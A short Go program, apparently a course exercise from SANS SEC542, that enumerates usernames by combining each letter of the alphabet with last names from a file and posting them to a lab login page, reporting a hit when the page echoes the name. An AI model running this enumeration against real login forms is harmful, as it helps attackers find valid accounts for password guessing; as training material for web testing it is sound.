package main
// (A bad) Rewrite of @adriendb's Python user_enum script in Golang. From SANS SEC542
import (
"net/http"
"fmt"
"log"
"io/ioutil"
"net/url"
"os"
"bufio"
"strings"
)
func main() {
argsWithoutProg := os.Args[1:]
filename := (argsWithoutProg[0])
file, err := os.Open(filename)
if err != nil {
log.Fatal(err)
}
defer file.Close()
str := "abcdefghijklmnopqrstuvwxyz"
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lastname := scanner.Text()
for _, r := range str {
initial := string(r)
username := initial + lastname
resp, err := http.PostForm("http://www.sec542.org/userenum/login.php",
url.Values{"user": {username}, "pass": {"bar"}})
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), username) {
fmt.Println ("Hit on: " + username)
}
}
}
}
Comments